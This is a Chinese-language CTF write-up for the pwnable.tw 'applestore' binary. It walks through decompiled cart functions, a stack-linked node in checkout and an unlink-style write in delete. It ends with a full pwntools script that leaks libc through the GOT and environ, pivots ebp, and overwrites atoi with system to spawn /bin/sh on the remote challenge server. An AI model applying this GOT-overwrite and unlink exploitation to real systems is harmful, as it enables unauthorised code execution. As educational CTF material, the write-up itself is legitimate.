Pwnable.tw applestore
2019-04-10 本文已影响2人
Nevv
applestore
首先看下安全机制,没有开启pie,可能要使用到程序中的某个地址:
[*] '/home/nevv/Desktop/applestore.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
大概运行了程序后,是个类似购物车的功能,有增、删、查看的功能。
add
unsigned int add()
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
v1 = create((int)"iPhone 6", (char *)0xC7);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create((int)"iPad Air 2", (char *)0x1F3);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create((int)"iPad Mini 3", (char *)0x18F);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create((int)"iPod Touch", (char *)0xC7);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}
然后具体看下 create 和 insert 函数:
create & insert
char **__cdecl create(int a1, char *a2)
{
char **v2; // eax
char **v3; // ST1C_4
v2 = (char **)malloc(16u);
v3 = v2;
v2[1] = a2;
asprintf(v2, "%s", a1);
v3[2] = 0;
v3[3] = 0;
return v3;
}
int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h]
for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
;
i[2] = a1;
result = a1;
*(_DWORD *)(a1 + 12) = i;
return result;
}
可以看出购物车是一个链表结构:
.bss:0804B064 completed_6590 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804B064 ; __do_global_dtors_aux+14↑w
.bss:0804B065 align 4
.bss:0804B068 public myCart
.bss:0804B068 myCart db ? ; ; DATA XREF: insert+6↑o
.bss:0804B068 ; main+39↑o
.bss:0804B069 db ? ;
.bss:0804B06A db ? ;
.bss:0804B06B db ? ;
.bss:0804B06C db ? ;
.bss:0804B06D db ? ;
.bss:0804B06E db ? ;
.bss:0804B06F db ? ;
.bss:0804B070 dword_804B070 dd ? ; DATA XREF: delete+18↑r
.bss:0804B070 ; cart+61↑r
.bss:0804B074 align 8
.bss:0804B074 _bss ends
.bss:0804B074
delete
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int user_input; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
user_input = atoi(&nptr);
while ( v2 )
{
if ( v1 == user_input )
{
v4 = v2[2]; // next_thing
v5 = v2[3]; // prev_thing
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}
cart
dword_804B070 存储的是购物车的位置,索引0存储的是商品名字,索引1存储的是价格,23是前一个和后一个商品。
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
返回值是打印的商品价格总和
checkout
如果商品价格是7174个的话,会添加进去一个 iPhone8
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
分析
- 购物车数据结构
struct mycart{
0-4 name
4-8 price
8-12 next_thing
12-16 prev_thing
}
- free的时候并没有调用free函数真正释放掉空间,而是把其从双向链表中取下来,类似于unlink。
v4 = v2[2]; // prev_thing
v5 = v2[3]; // next_thing
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
- 程序没有开启pie,可能是要利用got表之类的,简单看下接收输入的函数:
char *__cdecl my_read(void *buf, size_t nbytes)
{
char *result; // eax
ssize_t v3; // [esp+1Ch] [ebp-Ch]
v3 = read(0, buf, nbytes);
if ( v3 == -1 )
return (char *)puts("Input Error.");
result = (char *)buf + v3;
*((_BYTE *)buf + v3) = 0;
return result;
}
利用点
1.这里使用的是read函数来接收输入,read函数遇到/x00是不会终止的,且atoi是以/x00作为分割符,在添加iphone8的时候,会直接把一个栈上的地址链接入链表:
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h] 位置是 ebp-20h
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
- 而在进入其他函数的时候,我们正好能控制对应的区域:
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h] // 我们能够通过my_read函数控制的区域
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
- 在有就是在调用cart函数的时候,我们能够控制的区域正好和添加iphone8的时候栈空间重合。
综上:
泄漏libc基地址:
- 首先构造出添加iphone8的条件
- 然后使用cart函数构造栈上对应的prev_thing和next_thing指针为got表
- 调用checkout函数,把iphone8链接入双向链表
- 调用cart函数,即可泄漏出libc的基址
劫持程序控制流:
- 直接unlink的话会在system函数的位置写入值导致段错误
因此我们考虑劫持程序的ebp,在delete函数unlink后,改写其ebp的值,使其变为 atoi_got_addr + 0x22,这样的话由于程序 atoi_got_addr + 0x22 + 0xc是可写入的,因此能够绕过安全检查。同时在退出delete函数的时候,由于buf位置是从 ebp-0x22起始的,也就是atoi_got_addr,直接将其改写为system函数的地址同时使用截断传入/bin/sh字符串即可。
exp
from pwn import *
def insert(n):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(n)
p.recvuntil("amazing idea.\n")
def delete(n):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(n)
def checkout():
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline("y")
p.recvuntil("Maybe next time!\n")
def cart(n):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("y\x00" + p32(n) + p32(0)*3)
p.recvuntil("27: ")
p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]
for i in range(6):
insert("1")
for i in range(20):
insert("2")
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']
ebp_addr = environ_addr - 0x104 # 调试得到的old ebp address of handle
ebp_new_addr = ebp_addr - 0x8 # for unlink
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
p.interactive()